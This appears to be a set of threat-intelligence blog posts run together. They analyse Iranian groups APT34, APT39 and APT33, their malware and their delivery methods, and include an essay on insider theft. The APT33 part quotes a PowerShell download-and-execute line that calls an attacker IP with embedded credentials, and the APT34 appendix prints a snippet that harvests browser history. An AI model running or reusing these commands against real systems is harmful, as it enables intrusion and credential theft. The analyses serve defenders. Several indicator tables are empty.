FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.

Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.

Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.

Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.


The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Malware Appendix


TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.

Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.


VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.

Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT


FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

[PRINT SCREEN] (1 space)
\n\n >>>  (2 spaces)

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name










Table 1: FireEye Platform Detections

Endpoint Indicators


MD5 Hash (if applicable)

Code Family

























Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators






A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

Forcing the Adversary to Pursue Insider Theft

Jack Crook pointed me toward a story by Christopher Burgess about intellectual property theft by "Hongjin Tan, a 35 year old Chinese national and U.S. legal permanent resident... [who] was arrested on December 20 and charged with theft of trade secrets. Tan is alleged to have stolen the trade secrets from his employer, a U.S. petroleum company," according to the criminal complaint filed by the US DoJ.

Tan's former employer and the FBI allege that Tan "downloaded restricted files to a personal thumb drive." I could not tell from the complaint if Tan downloaded the files at work or at home, but the thumb drive ended up at Tan's home. His employer asked Tan to bring it to their office, which Tan did. However, he had deleted all the files from the drive. Tan's employer recovered the files using commercially available forensic software.

This incident, by definition, involves an "insider threat." Tan was an employee who appears to have copied information that was outside the scope of his work responsibilities, resigned from his employer, and was planning to return to China to work for a competitor, having delivered his former employer's intellectual property.

When I started GE-CIRT in 2008 (officially "initial operating capability" on 1 January 2009), one of the strategies we pursued involved insider threats. I've written about insiders on this blog before but I couldn't find a description of the strategy we implemented via GE-CIRT.

We sought to make digital intrusions more expensive than physical intrusions.

In other words, we wanted to make it easier for the adversary to accomplish his mission using insiders. We wanted to make it more difficult for the adversary to accomplish his mission using our network.

In a cynical sense, this makes security someone else's problem. Suddenly the physical security team is dealing with the worst of the worst!

This is a win for everyone, however. Consider the many advantages the physical security team has over the digital security team.

The physical security team can work with human resources during the hiring process. HR can run background checks and identify suspicious job applicants prior to granting employment and access.

Employees are far more exposed than remote intruders. Employees, even under cover, expose their appearance, likely residence, and personalities to the company and its workers.

Employees can be subject to far more intensive monitoring than remote intruders. Employee endpoints can be instrumented. Employee workspaces are instrumented via access cards, cameras at entry and exit points, and other measures.

Employers can cooperate with law enforcement to investigate and prosecute employees. They can control and deter theft and other activities.

In brief, insider theft, like all "close access" activities, is incredibly risky for the adversary. It is a win for everyone when the adversary must resort to using insiders to accomplish their mission. Digital and physical security must cooperate to leverage these advantages, while collaborating with human resources, legal, information technology, and business lines to wring the maximum results from this advantage.

APT39: An Iranian Cyber Espionage Group Focused on Personal Information

UPDATE (Jan. 30): Figure 1 has been updated to more accurately reflect APT39 targeting. Specifically, Australia, Norway and South Korea have been removed.

In December 2018, FireEye identified APT39 as an Iranian cyber espionage group responsible for widespread theft of personal information. We have tracked activity linked to this group since November 2014 in order to protect organizations from APT39 activity to date. APT39’s focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks, which have been linked to influence operations, disruptive attacks, and other threats. APT39 likely focuses on personal information to support monitoring, tracking, or surveillance operations that serve Iran’s national priorities, or potentially to create additional accesses and vectors to facilitate future campaigns. 

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry. The countries and industries targeted by APT39 are depicted in Figure 1.

Figure 1: Countries and industries targeted by APT39

Operational Intent

APT39's focus on the telecommunications and travel industries suggests intent to perform monitoring, tracking, or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns. Government entities targeting suggests a potential secondary intent to collect geopolitical data that may benefit nation-state decision making. Targeting data supports the belief that APT39's key mission is to track or monitor targets of interest, collect personal information, including travel itineraries, and gather customer data from telecommunications firms.

Iran Nexus Indicators

We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East, infrastructure, timing, and similarities to APT34, a group that loosely aligns with activity publicly reported as “OilRig”. While APT39 and APT34 share some similarities, including malware distribution methods, POWBAT backdoor use, infrastructure nomenclature, and targeting overlaps, we consider APT39 to be distinct from APT34 given its use of a different POWBAT variant. It is possible that these groups work together or share resources at some level.

Attack Lifecycle

APT39 uses a variety of custom and publicly available malware and tools at all stages of the attack lifecycle.

Initial Compromise

For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target. Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources.

Establish Foothold, Escalate Privileges, and Internal Reconnaissance

Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH.

Lateral Movement, Maintain Presence, and Complete Mission

APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip.

Figure 2: APT39 attack lifecycle

There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity's environment to avoid detection.


We believe APT39's significant targeting of the telecommunications and travel industries reflects efforts to collect personal information on targets of interest and customer data for the purposes of surveillance to facilitate future operations. Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals. APT39's targeting not only represents a threat to known targeted industries, but it extends to these organizations' clientele, which includes a wide variety of sectors and individuals on a global scale. APT39's activity showcases Iran's potential global operational reach and how it uses cyber operations as a low-cost and effective tool to facilitate the collection of key data on perceived national security threats and gain advantages against regional and global rivals.

OVERRULED: Containing a Potentially Destructive Adversary


FireEye assesses APT33 may be behind a series of intrusions and attempted intrusions within the engineering industry. Public reporting indicates this activity may be related to recent destructive attacks. FireEye's Managed Defense has responded to and contained numerous intrusions that we assess are related. The actor is leveraging publicly available tools in early phases of the intrusion; however, we have observed them transition to custom implants in later stage activity in an attempt to circumvent our detection.

On Sept. 20, 2017, FireEye Intelligence published a blog post detailing spear phishing activity targeting Energy and Aerospace industries. Recent public reporting indicated possible links between the confirmed APT33 spear phishing and destructive SHAMOON attacks; however, we were unable to independently verify this claim. FireEye’s Advanced Practices team leverages telemetry and aggressive proactive operations to maintain visibility of APT33 and their attempted intrusions against our customers. These efforts enabled us to establish an operational timeline that was consistent with multiple intrusions Managed Defense identified and contained prior to the actor completing their mission. We correlated the intrusions using an internally-developed similarity engine described below. Additionally, public discussions have also indicated that specific attacker infrastructure we observed is possibly related to the recent destructive SHAMOON attacks.

Identifying the Overlap in Threat Activity

FireEye augments our expertise with an internally-developed similarity engine to evaluate potential associations and relationships between groups and activity. Using concepts from document clustering and topic modeling literature, this engine provides a framework to calculate and discover similarities between groups of activities, and then develop investigative leads for follow-on analysis. Our engine identified similarities between a series of intrusions within the engineering industry. The near real-time results led to an in-depth comparative analysis. FireEye analyzed all available organic information from numerous intrusions and all known APT33 activity. We subsequently concluded, with medium confidence, that two specific early-phase intrusions were the work of a single group. Advanced Practices then reconstructed an operational timeline based on confirmed APT33 activity observed in the last year. We compared that to the timeline of the contained intrusions and determined there were circumstantial overlaps to include remarkable similarities in tool selection during specified timeframes. We assess with low confidence that the intrusions were conducted by APT33. This blog contains original source material only, whereas Finished Intelligence including an all-source analysis is available within our intelligence portal. To best understand the techniques employed by the adversary, it is necessary to provide background on our Managed Defense response to this activity during their 24x7 monitoring.

Managed Defense Rapid Responses: Investigating the Attacker

In mid-November 2017, Managed Defense identified and responded to targeted threat activity at a customer within the engineering industry. The adversary leveraged stolen credentials and a publicly available tool, SensePost’s RULER, to configure a client-side mail rule crafted to download and execute a malicious payload from an adversary-controlled WebDAV server 85.206.161[.]214@443\outlook\live.exe (MD5: 95f3bea43338addc1ad951cd2d42eb6f).

The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC). The actor leveraged a publicly available exploit for CVE-2017-0213 to escalate privileges, publicly available Windows SysInternals PROCDUMP to dump the LSASS process, and publicly available MIMIKATZ to presumably steal additional credentials. Managed Defense aided the victim in containing the intrusion.

FireEye collected 168 PUPYRAT samples for a comparison. While import hashes (IMPHASH) are insufficient for attribution, we found it remarkable that out of the specified sampling, the actor’s IMPHASH was found in only six samples, two of which were confirmed to belong to the threat actor observed in Managed Defense, and one which is attributed to APT33. We also determined APT33 likely transitioned from PowerShell EMPIRE to PUPYRAT during this timeframe.

In mid-July of 2018, Managed Defense identified similar targeted threat activity focused against the same industry. The actor leveraged stolen credentials and RULER’s module that exploits CVE-2017-11774 (RULER.HOMEPAGE), modifying numerous users’ Outlook client homepages for code execution and persistence. These methods are further explored in this post in the "RULER In-The-Wild" section.

The actor leveraged this persistence mechanism to download and execute OS-dependent variants of the publicly available .NET POSHC2 backdoor as well as a newly identified PowerShell-based implant self-named POWERTON. Managed Defense rapidly engaged and successfully contained the intrusion. Of note, Advanced Practices separately established that APT33 began using POSHC2 as of at least July 2, 2018, and continued to use it throughout the duration of 2018.

During the July activity, Managed Defense observed three variations of the homepage exploit hosted at hxxp://91.235.116[.]212/index.html. One example is shown in Figure 1.

Figure 1: Attacker’s homepage exploit (CVE-2017-11774)

The main encoded payload within each exploit leveraged WMIC to conduct system profiling in order to determine the appropriate OS-dependent POSHC2 implant and dropped to disk a PowerShell script named “Media.ps1” within the user’s %LOCALAPPDATA% directory (%LOCALAPPDATA%\MediaWs\Media.ps1) as shown in Figure 2.

Figure 2: Attacker’s “Media.ps1” script

The purpose of “Media.ps1” was to decode and execute the downloaded binary payload, which was written to disk as “C:\Users\Public\Downloads\log.dat”. At a later stage, this PowerShell script would be configured to persist on the host via a registry Run key.

Analysis of the “log.dat” payloads determined them to be variants of the publicly available POSHC2 proxy-aware stager written to download and execute PowerShell payloads from a hardcoded command and control (C2) address. These particular POSHC2 samples run on the .NET framework and dynamically load payloads from Base64 encoded strings. The implant will send a reconnaissance report via HTTP to the C2 server (hxxps://51.254.71[.]223/images/static/content/) and subsequently evaluate the response as PowerShell source code. The reconnaissance report contains the following information:

  • Username and domain
  • Computer name
  • CPU details
  • Current exe PID
  • Configured C2 server

The C2 messages are encrypted via AES using a hardcoded key and encoded with Base64. It is this POSHC2 binary that established persistence for the aforementioned “Media.ps1” PowerShell script, which then decodes and executes the POSHC2 binary upon system startup. During the identified July 2018 activity, the POSHC2 variants were configured with a kill date of July 29, 2018.

POSHC2 was leveraged to download and execute a new PowerShell-based implant self-named POWERTON (hxxps://185.161.209[.]172/api/info). The adversary had limited success with interacting with POWERTON during this time.  The actor was able to download and establish persistence for an AutoIt binary named “ClouldPackage.exe” (MD5: 46038aa5b21b940099b0db413fa62687), which was achieved via the POWERTON “persist” command. The sole functionality of “ClouldPackage.exe” was to execute the following line of PowerShell code:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; $webclient = new-object System.Net.WebClient; $webclient.Credentials = new-object System.Net.NetworkCredential('public', 'fN^4zJp{5w#K0VUm}Z_a!QXr*]&2j8Ye'); iex $webclient.DownloadString('hxxps://185.161.209[.]172/api/default')

The purpose of this code is to retrieve “silent mode” POWERTON from the C2 server. Note the actor protected their follow-on payloads with strong credentials. Shortly after this, Managed Defense contained the intrusion.

Starting approximately three weeks later, the actor reestablished access through a successful password spray. Managed Defense immediately identified the actor deploying malicious homepages with RULER to persist on workstations. They made some infrastructure and tooling changes to include additional layers of obfuscation in an attempt to avoid detection. The actor hosted their homepage exploit at a new C2 server (hxxp://5.79.66[.]241/index.html). At least three new variations of “index.html” were identified during this period. Two of these variations contained encoded PowerShell code written to download new OS-dependent variants of the .NET POSHC2 binaries, as seen in Figure 3.

Figure 3: OS-specific POSHC2 Downloader

Figure 3 shows that the actor made some minor changes, such as encoding the PowerShell "DownloadString" commands and renaming the resulting POSHC2 and .ps1 files dropped to disk. Once decoded, the commands will attempt to download the POSHC2 binaries from yet another new C2 server (hxxp://103.236.149[.]124/delivered.dat). The name of the .ps1 file dropped to decode and execute the POSHC2 variant also changed to “Vision.ps1”.  During this August 2018 activity, the POSHC2 variants were configured with a “kill date” of Aug. 13, 2018. Note that POSHC2 supports a kill date in order to guardrail an intrusion by time and this functionality is built into the framework.

Once again, POSHC2 was used to download a new variant of POWERTON (MD5: c38069d0bc79acdc28af3820c1123e53), configured to communicate with the C2 domain hxxps://basepack[.]org. At one point in late-August, after the POSHC2 kill date, the adversary used RULER.HOMEPAGE to directly download POWERTON, bypassing the intermediary stages previously observed.

Due to Managed Defense’s early containment of these intrusions, we were unable to ascertain the actor’s motivations; however, it was clear they were adamant about gaining and maintaining access to the victim’s network.

Adversary Pursuit: Infrastructure Monitoring

Advanced Practices conducts aggressive proactive operations in order to identify and monitor adversary infrastructure at scale. The adversary maintained a RULER.HOMEPAGE payload at hxxp://91.235.116[.]212/index.html between July 16 and Oct. 11, 2018. On at least Oct. 11, 2018, the adversary changed the payload (MD5: 8be06571e915ae3f76901d52068e3498) to download and execute a POWERTON sample from hxxps://103.236.149[.]100/api/info (MD5: 4047e238bbcec147f8b97d849ef40ce5). This specific URL was identified in a public discussion as possibly related to recent destructive attacks. We are unable to independently verify this correlation with any organic information we possess.

On Dec. 13, 2018, Advanced Practices proactively identified and attributed a malicious RULER.HOMEPAGE payload hosted at hxxp://89.45.35[.]235/index.html (MD5: f0fe6e9dde998907af76d91ba8f68a05). The payload was crafted to download and execute POWERTON hosted at hxxps://staffmusic[.]org/transfer/view (MD5: 53ae59ed03fa5df3bf738bc0775a91d9).

Table 1 contains the operational timeline for the activity we analyzed.




2017-08-15 17:06:59

APT33 – EMPIRE (Used)


2017-09-15 16:49:59

APT33 – PUPYRAT (Compiled)


2017-11-12 20:42:43

GroupA – AUT2EXE Downloader (Compiled)


2017-11-14 14:55:14

GroupA – PUPYRAT (Used)


2018-01-09 19:15:16

APT33 – PUPYRAT (Compiled)


2018-02-13 13:35:06

APT33 – PUPYRAT (Used)


2018-05-09 18:28:43

GroupB – AUT2EXE (Compiled)


2018-07-02 07:57:40

APT33 – POSHC2 (Used)


2018-07-16 00:33:01

GroupB – POSHC2 (Compiled)


2018-07-16 01:39:58

GroupB – POSHC2 (Used)


2018-07-16 08:36:13

GroupB – POWERTON (Used)


2018-07-31 22:09:25

APT33 – POSHC2 (Used)


2018-08-06 16:27:05

GroupB – POSHC2 (Compiled)


2018-08-07 05:10:05

GroupB – POSHC2 (Used)


2018-08-29 18:14:18

APT33 – POSHC2 (Used)


2018-10-09 16:02:55

APT33 – POSHC2 (Used)


2018-10-09 16:48:09

APT33 – POSHC2 (Used)


2018-10-11 21:29:22

GroupB – POWERTON (Used)


2018-12-13 11:00:00

GroupB – POWERTON (Identified)


Table 1: Operational Timeline

Outlook and Implications

If the activities observed during these intrusions are linked to APT33, it would suggest that APT33 has likely maintained proprietary capabilities we had not previously observed until sustained pressure from Managed Defense forced their use. FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. This risk is pronounced in the energy sector, which we consistently observe them target. That targeting aligns with Iranian national priorities for economic growth and competitive advantage, especially relating to petrochemical production.

We will continue to track these clusters independently until we achieve high confidence that they are the same. The operators behind each of the described intrusions are using publicly available but not widely understood tools and techniques in addition to proprietary implants as needed. Managed Defense has the privilege of being exposed to intrusion activity every day across a wide spectrum of industries and adversaries. This daily front line experience is backed by Advanced Practices, FireEye Labs Advanced Reverse Engineering (FLARE), and FireEye Intelligence to give our clients every advantage they can have against sophisticated adversaries. We welcome additional original source information we can evaluate to confirm or refute our analytical judgements on attribution.

Custom Backdoor: POWERTON

POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. POWERTON is designed to support multiple persistence mechanisms, including WMI and auto-run registry key. Communications with the C2 are over TCP/HTTP(S) and leverage AES encryption for communication traffic to and from the C2. POWERTON typically gets deployed as a later stage backdoor and is obfuscated several layers.

FireEye has witnessed at least two separate versions of POWERTON, tracked separately as POWERTON.v1 and POWERTON.v2, wherein the latter has improved its command and control functionality, and integrated the ability to dump password hashes.

Table 2 contains samples of POWERTON.

Hash of Obfuscated File (MD5)

Hash of Deobfuscated File (MD5)























Table 2: POWERTON malware samples

Adversary Methods: Email Exploitation on the Rise

Outlook and Exchange are ubiquitous with the concept of email access. User convenience is a primary driver behind technological advancements, but convenient access for users often reveals additional attack surface for adversaries. As organizations expose any email server access to the public internet for its users, those systems become intrusion vectors. FireEye has observed an increase in targeted adversaries challenging and subverting security controls on Exchange and Office365. Our Mandiant consultants also presented several new methods used by adversaries to subvert multifactor authentication at FireEye Cyber Defense Summit 2018.

At FireEye, our decisions are data driven, but data provided to us is often incomplete and missing pieces must be inferred based on our expertise in order for us to respond to intrusions effectively. A plausible scenario for exploitation of this vector is as follows.

An adversary has a single pair of valid credentials for a user within your organization obtained through any means, to include the following non-exhaustive examples:

  • Third party breaches where your users have re-used credentials; does your enterprise leverage a naming standard for email addresses such as first.last@yourorganization.tld? It is possible that a user within your organization has a personal email address with a first and last name--and an affiliated password--compromised in a third-party breach somewhere. Did they re-use that password?
  • Previous compromise within your organization where credentials were compromised but not identified or reset.
  • Poor password choice or password security policies resulting in brute-forced credentials.
  • Gathering of crackable password hashes from various other sources, such as NTLM hashes gathered via documents intended to phish them from users.
  • Credential harvesting phishing scams, where harvested credentials may be sold, re-used, or documented permanently elsewhere on the internet.

Once the adversary has legitimate credentials, they identify publicly accessible Outlook Web Access (OWA) or Office 365 that is not protected with multi-factor authentication. The adversary leverages the stolen credentials and a tool like RULER to deliver exploits through Exchange’s legitimate features.

RULER In-The-Wild: Here, There, and Everywhere

SensePost’s RULER is a tool designed to interact with Exchange servers via a messaging application programming interface (MAPI), or via remote procedure calls (RPC), both over HTTP protocol. As detailed in the "Managed Defense Rapid Responses" section, in mid-November 2017, FireEye witnessed network activity generated by an existing Outlook email client process on a single host, indicating connection via Web Distributed Authoring and Versioning (WebDAV) to an adversary-controlled IP address 85.206.161[.]214. This communication retrieved an executable created with Aut2Exe (MD5: 95f3bea43338addc1ad951cd2d42eb6f), and executed a PowerShell one-liner to retrieve further malicious content.

Without the requisite logging from the impacted mailbox, we can still assess that this activity was the result of a malicious mail rule created using the aforementioned tooling for the following reasons:

  • Outlook.exe directly requested the malicious executable hosted at the adversary IP address over WebDAV. This is unexpected unless some feature of Outlook directly was exploited; traditional vectors like phishing would show a process ancestry where Outlook spawned a child process of an Office product, Acrobat, or something similar. Process injection would imply prior malicious code execution on the host, which evidence did not support.
  • The transfer of 95f3bea43338addc1ad951cd2d42eb6f was over WebDAV. RULER facilitates this by exposing a simple WebDAV server, and a command line module for creating a client-side mail rule to point at that WebDAV hosted payload.
